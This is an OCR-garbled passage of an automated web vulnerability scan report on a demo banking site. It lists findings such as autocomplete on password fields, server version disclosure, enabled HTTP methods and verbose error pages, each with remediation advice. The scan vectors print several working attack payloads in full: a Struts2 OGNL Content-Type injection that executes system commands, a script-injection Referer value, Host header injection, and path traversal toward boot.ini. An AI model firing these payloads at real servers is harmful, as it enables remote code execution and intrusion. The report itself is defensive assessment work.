cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:10 GMT
connection: close

Result:
These are the Suspicious comments found: To get the latest admin login, please contact SiteOps at 415-555-6159

Suspicious HTML Comments Detected found in GET-demol.indussecure.c
om/login.jsp

Unique Alert ID First Found Date URI

1 1748704 8th January 2020 http://demo1l.indussecure.com/login.jsp

Injected URL:
http://demo1l.indussecure.com/login.jsp

Request:

GET /login.jsp HTTP/1.1

Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com
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Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:29:10 GMT
connection:close

Result:
These are the Suspicious comments found: To get the latest admin login, please contact SiteOps at 415-555-6159

Suspicious HTML Comments Detected found in POST-demol.indussecure
.com/ /doLogin?uid={...}&passw={...}&btnSubmit={...}

Unique Alert ID First Found Date URI

1 1854115 8th January 2020 http://demol.indussecure.com//doLogin

Injected URL:
http://demol.indussecure.com//doLogin

Request:

POST //doLogin HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demo1l.indussecure.com

referer: http://demol.indussecure.com//login.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demo1l.indussecure.com

uid=defaultText&passw=Test%401234&btnSubmit=Login

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:34:20 GMT
connection: close

Result:
These are the Suspicious comments found: To get the latest admin login, please contact SiteOps at 415-555-6159

Suspicious HTML Comments Detected found in POST-demol.indussecure
.com/doLogin?uid={...}&passw={...}&btnSubmit={...}

Unique Alert ID First Found Date URI

1 1783064 8th January 2020 http://demol.indussecure.com/doLogin

Injected URL:
http://demol.indussecure.com/doLogin
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Request:

POST /doLogin HTTP/1.1

Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Content-Type: application\/x-www-form-urlencoded

Cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

Origin: http:\/\/demol.indussecure.com

Referer: http:\/\/demo1l.indussecure.com\/login.jsp

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:35:25 GMT
connection:close

Result:
These are the Suspicious comments found: To get the latest admin login, please contact SiteOps at 415-555-6159
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15 :: Sensitive HTML Form Fields With auto-complete Enabled

Vul Type:

CVSS Score:
CVSS Vector:
CWE :

Severity:

Description:

Solution:

Sensitive HTML Form Fields With auto-

No of PI F : 1
complete Enabled °o aces Found

3.1 No of Instances Reported: 10
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
CWE-200: Information Exposure

Low

The Web form contains passwords or other sensitive text fields for which the browser auto-co
mplete feature is enabled. Auto-complete stores completed form field and passwords locally i

n the browser, so that these fields are filled automatically when the user visits the site again.
Sensitive data and passwords can be stolen if the user's system is compromised.

Note, however, that form auto-complete is a non-standard, browser-side feature that each br
owser handles differently. Opera, for example, disregards the feature, requiring the user to e

nter credentials for each Web site visit.

Disable autocomplete for all sensitive fields

For each sensitive field in the HTML, set the "autocomplete" attribute to "off". For example:

<input type="password" autocomplete="off" name="pw">

If there are many fields, it may be faster to set the "autocomplete" attribute to "off" in the ou
ter <form> tag. For example:

<form action="/login.jsp" autocomplete="off" name="pw">
<input type="password" name="pw'">
</form>

Vulnerability Details:

Unique Alert ID

1 1753457

First Found Date URI

8th January 2020 http://demol.indussecure.com//login.jsp



Injected URL:
http://demol.indussecure.com//login.jsp

j
Request:

GET //login.jsp HTTP/1.1

Accept: text\/html,application\/xhtmIl+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

Origin: http:\/\/demol.indussecure.com

Referer: http:\/\/demo1l.indussecure.com\/\/login.jsp

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:26:30 GMT
connection:close

Result:
The following HTML field's IDs/Names are found: passw

Unique Alert ID First Found Date URI

2 1748703 8th January 2020 http://demo1l.indussecure.com/admin/

Injected URL:
http://demol.indussecure.com/admin/

Request:

GET /admin/ HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:10 GMT
connection: close

Result:
The following HTML field's IDs/Names are found: passw
Unique Alert ID First Found Date URI

3 1748707 8th January 2020 http://demo1l.indussecure.com/login.jsp

Injected URL:
http://demol.indussecure.com/login.jsp



j
Request:

GET /login.jsp HTTP/1.1

Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/61.0.3163.100 Electr
on\/2.0.11 Safari\/537.36

host: demol.indussecure.com

Response:

HTTP/1.1 200 OK
server:Apache-Coyote\/1.1
content-type:text\/html;charset=1S0-8859-1
transfer-encoding:chunked

date:Wed, 08 Jan 2020 13:29:10 GMT
connection:close

Result:
The following HTML field's IDs/Names are found: passw

Unique Alert

D First Found Date Parameter URI

4 1748715 8th January 2020 Content-Type http://demo1l.indussecure.com/login.jsp

Injected URL:
http://demo1l.indussecure.com/login.jsp

Vector:
%{(#_="multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_member
Access=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.get
Instance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.g
etExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty(‘os.name’).
toLowerCase().contains('win"))).(#cmds=(#iswin?{'cmd.exe’,'/c'

Request:

GET /login.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

content-type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAcce
ss?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=
#container.getlnstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear
()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProp

erty('os.name').toLowerCase().contains(‘win"))).(#cmds=(#iswin?{'cmd.exe','/c','ipconfig','/all'}: {'bash’,'-c",'id'})).(#p=n

ew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=+#p.start()).(#ros=(@org.apache.struts2
.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy (#process.getlnputSt
ream(),#ros)).(#ros.flush())}

accept-encoding: gzip, deflate
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Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:11 GMT
connection: close

Result:
The following HTML field's IDs/Names are found: passw

Unique Alert

ID First Found Date Parameter URI

5 1748713 8th January 2020 Content-Type http://demol.indussecure.com/admin/

Injected URL:
http://demo1l.indussecure.com/admin/

Vector:

%{ (#_="multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_member

Access=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.get
Instance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.g
etExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name’).
toLowerCase().contains('win"))).(#cmds=(#iswin?{'cmd.exe’,'/c'

Request:

GET /admin/ HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:12 GMT
connection: close

Result:
The following HTML field's IDs/Names are found: passw

;Jll;lque Alert First Found Date Parameter URI
6 1748716 8th January 2020 Referer http://demol.indussecure.com/login.jsp

Injected URL:
http://demo1l.indussecure.com/login.jsp

Vector:
-->""></sCrIpT/x><sCrIpT/x>haikumsg(11111)</sCrIpT/x>



j
Request:

GET /login.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

referer: -->""></sCrIpT/x><sCripT/x>haikumsg(11111)</sCrIpT/x>

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:18 GMT
connection: close

Result:
The following HTML field's IDs/Names are found: passw

Unique Alert

D First Found Date Parameter URI

7 1748712 8th January 2020 Referer http://demol.indussecure.com/admin/

Injected URL:
http://demol.indussecure.com/admin/

Vector:
-->""></sCrIpT/x><sCrlpT/x>haikumsg(11111)</sCrIpT/x>

Request:

GET /admin/ HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

referer: -->'""></sCrlIpT/x><sCrlIpT/x>haikumsg(11111)</sCrIpT/x>

accept-encoding: gzip, deflate

host: demol.indussecure.com

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:18 GMT
connection: close

Result:

The following HTML field's IDs/Names are found: passw

Unique Alert

ID First Found Date Parameter URI

8 1748717 8th January 2020 Host http://demol.indussecure.com/login.jsp
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Injected URL:
http://demol.indussecure.com/login.jsp

Vector:
www.testapptrana.com

Request:

GET /login.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: www.testapptrana.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:24 GMT
connection: close

Result:
The following HTML field's IDs/Names are found: passw

;.Il;uque Alert First Found Date Parameter URI
9 1748709 8th January 2020 Host http://demo1l.indussecure.com/admin/

Injected URL:
http://demo1l.indussecure.com/admin/

Vector:
www.testapptrana.com

Request:

GET /admin/ HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

accept-encoding: gzip, deflate

host: demol.indussecure.com

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:24 GMT
connection: close

Result:
The following HTML field's IDs/Names are found: passw
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10 1860279 8th January 2020 OPTIONS http://demol.indussecure.com/login.jsp

Unique Alert

ID First Found Date Parameter URI

Injected URL:
http://demo1l.indussecure.com/login.jsp

Request:

OPTIONS /login.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 0

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:32:52 GMT
connection: close

Result:
The following HTML field's IDs/Names are found: passw

16 :: Web Server Version Disclosure

Vul Type: Web Server Version Disclosure No of Places Found: 1
CVSS Score: 0 No of Instances Reported: 2
CWE : CWE-200: Information Exposure

Severity: Info

HTTP web server information is disclosed in HTTP headers. This information may revel softwa
Description: re name, version etc. It may help an attacker to look for specific web server version related

vulnerabilities.
Solution: Versions and types information should be omitted where possible.
Reference: http://osvdb.org/91

Vulnerability Details:

Unique Alert ID First Found Date URI

1 1856022 8th January 2020 http://demol.indussecure.com//feedback.jsp

Injected URL:
http://demol.indussecure.com//feedback.jsp



j
Request:

GET //feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=15S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:24:40 GMT
connection: close

Result:
The following headers have the vulnerability: server: Apache-Coyote/1.1

Unique Alert ID First Found Date URI

. i i i ? =- i
2 1753451 8th January 2020 thp.//demo'1.|ndussecgre.cor_n//lndex.Js'p:contgnt inside
_jobs.htm&job=ExecutiveAssistant:Administration
Injected URL:
http://demo1l.indussecure.com//index.jsp?content=inside_jobs.htm&job=ExecutiveAssistant: Administration

Request:

GET //index.jsp?content=inside_jobs.htm&job=ExecutiveAssistant:Administration HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=15S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:24:57 GMT
connection: close

Result:
The following headers have the vulnerability: server: Apache-Coyote/1.1
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17 :: WebDAV Extensions Are Enabled

Vul Type:

CVSS Score:

CWE :

Severity:

Description:

Solution:

WebDAV Extensions Are Enabled No of Places Found: 1
0 No of Instances Reported: 1
CWE-16: Configuration

Info

WebDAV is a set of extensions to the HTTP protocol that allows users to collaboratively edit a
nd manage files on remote web servers. Many web servers enable WebDAV extensions by d
efault, even when they are not needed. Because of its added complexity, it is considered goo

d practice to disable WebDAYV if it is not currently in use.

r IIS, PWS, Microsoft-1IS, Internet Information Services, Internet Information Services,
Microsoft-PWS

Disable WebDAYV for IIS

For Microsoft IIS, follow Microsoft's instructions to disable WebDAV for the entire server

» Apache
Disable WebDAV for Apache

Make sure the mod_dav module is disabled, or ensure that authentication is required on

directories where DAV is required.

¥ Apache Tomcat, Tomcat, Tomcat Web Server

Disable WebDAV for Apache Tomcat

Disable the WebDAV Servlet for all web applications found on the web server. This can
be done by removing the servlet definition for WebDAV (the org.apache.catalina.servlet
s.WebdavServlet class) and remove all servlet mappings referring to the WebDAV servl

et.

¥ Java System Web Server, iPlanet, SunONE WebServer, Sun-ONE-Web-Server
Disable WebDAYV for iPlanet/Sun ONE
Disable WebDAV on the web server. This can be done by disabling WebDAV for the ser
ver instance and for all virtual servers.
To disable WebDAV for the server instance, enter the Server Manager and uncheck the
"Enable WebDAV Globally" checkbox then click the "OK" button.
To disable WebDAV for each virtual server, enter the Class Manager and uncheck the "

Enable WebDAV Globally" checkbox next to each server instance then click the "OK" but

ton.


http://support.microsoft.com/default.aspx?kbid=241520
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Vulnerability Details:

;’I';'q“e Alert First Found Date Parameter URI
) ; ?
. . sth January 2020 OPTIONS http://demol.indussecure.com/shell?con

tent=personal.htm

Injected URL:
http://demo1l.indussecure.com/shell?content=personal.htm

Request:

OPTIONS /shell?content=personal.htm HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 0

Response:

200 OK

server: Apache-Coyote/1.1

allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
content-length: 0

date: Wed, 08 Jan 2020 13:33:43 GMT
connection: close

Result:
The following methods are enabled: GET, HEAD, POST, PUT, DELETE, OPTIONS
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A6: Security Misconfiguration

18 :: Application Error Message

Vul Type:
CVSS Score:
CVSS Vector:
CWE :

Severity:

Description:

Solution:

Application Error Message No of Places Found: 6
5.3 No of Instances Reported: 6
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE-200: Information Exposure

An attacker can try to force the target website to produce error messages by passing differe
nt attack vectors to different parameters and then analyse the errors to get target informatio
n. These errors have no direct security impact, most of the time they indicate a programmin

g error, quality issue, or a potential vulnerability in the application.

Many of these types of errors also leak information about the logic or the implementation of t

he application which can help an attacker to identify or exploit weaknesses in the application.

Configure your server or application to log the error rather showing the error on the web pag

e

Input validation and proper error handling is the best approach to overcome this kind of vuln

erabilities.

Vulnerability Details:

Application Error Message found in GET-demol.indussecure.com/ /index
jsp?content={...}&job={...}

Unique Alert
ID

1 1748748

8th January 2020 content

First Found Date Parameter URI

http://demo1l.indussecure.com//index.js
p?content=..%?2F..%?2F..%2F..%2F..%?2F.
.%2F..%2F..%?2F..%?2F..%2Fboot.ini&job

=ExecutiveAssistant®%3AAdministration

Attack Variant :: content

Injected URL:

http://demol.indussecure.com//index.jsp?content=..%?2F..%2F..%2F..%2F..%?2F..%2F..%2F..%2F..%?2F..%2Fboot.ini&job
=ExecutiveAssistant%3AAdministration

Vector:

S S S /bootini
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GET //index.jsp?content=..%2F..%2F..%2F..%2F..%2F..%?2F..%2F..%2F..%2F..%2Fboot.ini&job=ExecutiveAssistant%3AA
dministration HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

500 Internal Server Error

server: Apache-Coyote/1.1
content-type: text/html;charset=utf-8
content-language: en
content-length: 1765

date: Wed, 08 Jan 2020 13:25:14 GMT
connection: close

Result:

color : black;}A.name {color : black;}HR {color : #525D76;}</style></head><body><h1>HTTP Status 500 - Internal
Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.NullPoint
erException</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfillin
g the request.</p><p><b>Exception</b> <pre>org.apache.jasper.JasperException: java.lang.NullPoi

Application Error Message found in GET-demol.indussecure.com//index
.jsp?content={...}

Unique Alert

ID First Found Date Parameter URI

http://demol.indussecure.com//index.js
1 1748754 8th January 2020 content p?content=..%2F..%2F..%2F..%?2F..%?2F.
.%2F..%2F..%?2F..%?2F..%2Fboot.ini

Attack Variant :: content

Injected URL:
http://demo1l.indussecure.com//index.jsp?content=..%2F..%2F..%2F..%2F..%2F..%2F..%?2F..%2F..%?2F..%Z2Fboot.ini

Vector:

S /bootini

Request:

GET //index.jsp?content=..%2F..%?2F..%2F..%?2F..%2F..%2F..%?2F..%2F..%?2F..%Z2Fboot.ini HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate
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Response:

500 Internal Server Error

server: Apache-Coyote/1.1
content-type: text/html;charset=utf-8
content-language: en
content-length: 1765

date: Wed, 08 Jan 2020 13:26:03 GMT
connection: close

Result:

color : black;}A.name {color : black;}HR {color : #525D76;}</style></head><body><h1>HTTP Status 500 - Internal
Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.NullPoint
erException</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfillin
g the request.</p><p><b>Exception</b> <pre>org.apache.jasper.JasperException: java.lang.NullPoi

A{Jpl{ication Error Message found in GET-demol.indussecure.com/?conte
nt={...

Unique Alert

D First Found Date Parameter URI

http://demol.indussecure.com/?content
1 1748734 8th January 2020 content =..%?2F..%?2F..%2F..%2F..%2F..%2F..%
2F..%?2F..%2F..%2Fboot.ini

Attack Variant :: content

Injected URL:
http://demol.indussecure.com/?content=..%2F..%?2F..%2F..%2F..%2F..%?2F..%2F..%2F..%2F..%?2Fboot.ini

Vector:
oSS ] /boot.ini

Request:

GET /?content=..%2F..%?2F..%2F..%?2F..%2F..%?2F..%2F..%?2F..%2F..%2Fboot.ini HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

500 Internal Server Error

server: Apache-Coyote/1.1
content-type: text/html;charset=utf-8
content-language: en
content-length: 1765

date: Wed, 08 Jan 2020 13:28:49 GMT
connection: close

Result:

color : black;}A.name {color : black;}HR {color : #525D76;}</style></head><body><h1>HTTP Status 500 - Internal
Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.NullPoint
erException</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfillin
g the request.</p><p><b>Exception</b> <pre>org.apache.jasper.JasperException: java.lang.NullPoi

Ap_PIication Error Message found in GET-demo1l.indussecure.com/index.j
sp.content={...}&Job=f?...}
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http://demol.indussecure.com/index.jsp
?content=..%?2F..%2F..%2F..%2F..%?2F..

1 1748741 8th January 2020 content % 2F..%2F..%2F..%2F..%2Fboot.ini&job
=CustomerServiceRepresentative%3AC
ustomerService

Unique Alert

ID First Found Date Parameter URI

Attack Variant :: content

Injected URL:
http://demol.indussecure.com/index.jsp?content=..%2F..%2F..%2F..%2F..%2F..%?2F..%2F..%?2F..%2F..%2Fboot.ini&job=
CustomerServiceRepresentative%3ACustomerService

Vector:
oSS /boot.ini

Request:

GET /index.jsp?content=..%2F..%2F..%2F..%?2F..%2F..%2F..%2F..%?2F..%?2F..%2Fboot.ini&job=CustomerServiceReprese
ntative%3ACustomerService HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

500 Internal Server Error

server: Apache-Coyote/1.1
content-type: text/html;charset=utf-8
content-language: en
content-length: 1765

date: Wed, 08 Jan 2020 13:31:24 GMT
connection: close

Result:

color : black;}A.name {color : black;}HR {color : #525D76;}</style></head><body><h1>HTTP Status 500 - Internal
Server Error</hl1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.NullPoint
erException</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfillin
g the request.</p><p><b>Exception</b> <pre>org.apache.jasper.JasperException: java.lang.NullPoi

Ap_PIication Error Message found in GET-demol.indussecure.com/index.j
Sp~?

content={...}
;’S'q“e Alert | Eirst Found Date = Parameter URI

http://demo1l.indussecure.com/index.jsp
1 1748723 8th January 2020 content ?content=..%2F..%2F..%2F..%2F..%2F..
%2F..%2F..%2F..%2F..%2Fboot.ini

Attack Variant :: content

Injected URL:
http://demo1l.indussecure.com/index.jsp?content=..%2F..%2F..%2F..%2F..%2F..%?2F..%2F..%?2F..%2F..%2Fboot.ini

Vector:

Ao /bootini
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GET /index.jsp?content=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%?2F..%?2F..%?2Fboot.ini HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

500 Internal Server Error

server: Apache-Coyote/1.1
content-type: text/html;charset=utf-8
content-language: en
content-length: 1765

date: Wed, 08 Jan 2020 13:31:50 GMT
connection: close

Result:

